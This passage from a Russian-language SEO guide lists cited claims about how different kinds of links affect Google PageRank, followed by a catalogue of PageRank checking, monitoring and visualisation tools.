    “Нет никаких доказательств того, что ссылки с ODP, .edu или .gov дают какие-то особые преимущества, просто эти сайты обычно имеют высокий PR, потому что многие на них ссылаются.” [A Google Myth Busted]
  • Ссылки с атрибутом nofollow не влияют на PR. “Google использует значение nofollow чтобы создатели сайтов могли использовать ссылки которые не должны учитываться при расчете PR, эти ссылки не являются «голосом» в пользу страницы на которую они ссылаются.” [Wikipedia: PageRank]
  • Несколько одинаковых ссылок с одной страницы считаются за одну. Достаточно разумно, что страница может голосовать за другую только один раз. [PageRank FAQ]
  • Ссылки страницы на саму себя не увеличивают PR. Понятно, что страница не должна голосовать за себя, и такие ссылки нельзя учитывать.
    [PageRank Explained]
  • Плохие входящие ссылки не влияют на PR. “Не важно, откуда на страницу размещаются входящие ссылки, сайты не пенализируются за то, что на них ссылаются забаненные сайты или линкопомойки.” [Google PageRank]
  • Висячие ссылки не влияют на PR. “Висячие ссылки — это ссылки на страницы, не имеющие исходящих ссылок, их достаточно много и они разрушают модель, поэтому исключены из расчета PR.” [PageRank Paper]

2.1 Теория PR и научное обоснование

3.1 Google PageRank: Инструменты и сервисы

  • PageRank Search
    Отображение результатов поиска по PR.
  • Google PageRank Inspector
    Скрипт, выводящий PR всех страниц сайта. Новые страницы, на которые ссылаются страницы с высоким PR, могут быть проиндексированы быстрее и иметь лучшие позиции в результатах поиска.
  • Google’s PageRank - Calculator
    Позволяет рассчитывать распределение PR между страницами.
  • Webmastereyes, Visual PageRank View
    Отображают страницу указывая PR каждой ссылки, отмечают nofollow и внешние ссылки.
  • Smart PageRank
    Проверяет PR во многих датацентрах и автоматически пересылает уведомление об изменении PR по эл. почту.
  • Google PageRank Notifier
    “Этот скрипт отсылает уведомления об изменении PR на эл. почту, использует Google Toolbar «API», PR проверяется каждый час.”
  • Google PageRank™ Checker (необходима регистрация)
    Мониторинг PR сайтов с помощью RSS и уведомления об его изменении на эл. почту.
  • Dig PageRank
    Проверяет текущее значение PR на более чем 100 датацентрах Google.
  • Live PageRank Check
    Текущее значение PageRank можно использовать как индикатор значения которое будет отображено когда Google экспортирует значения в Google Toolbar. Live PageRank показывает текущее значение PR в индексах Google, это значение постоянно обновляется и только раз в три месяца экспортируется для отображения в Google Toolbar.
  • Page Rank Widget для Mac OS X.
    Небольшой виджет отображающий PR любой заданной страницы (запрашивает значение PR с серверов Google).
  • Google PageRank Prediction
    Инструмент анализирует популярность заданного сайта и пытается предсказать будущее значение PR. More Page Rank Tools.
  • PageRank Checker
    Отображает PR ссылающихся на сайт страниц.
  • PageRank Overlay (PR Mapper)
    Посещайте сайт конкурентов и смотрите PR каждой ссылки одновременно. Также доступен в виде расширения для Firefox.
  • PageRank Decoder (Demo)
    “Этот маленький инструмент не сильно отличается от других, отображающих PR, тем не менее, позволяет организовать ваши сайты (с информацией по PR) в визуальную сеть и соединять их с помощью стрелок, перемещать как карточки, соединять или удалять в корзину.” [Search Engine Roundtable]
  • Page Rank Export List History
    Список историй дат изменений и экспорта PR в Google Toolbar.
  • Google Ranking Factors
    Подозрительные положительные/негативные факторы ранжирования страниц в Google.

3.2 Google: Инструменты и сервисы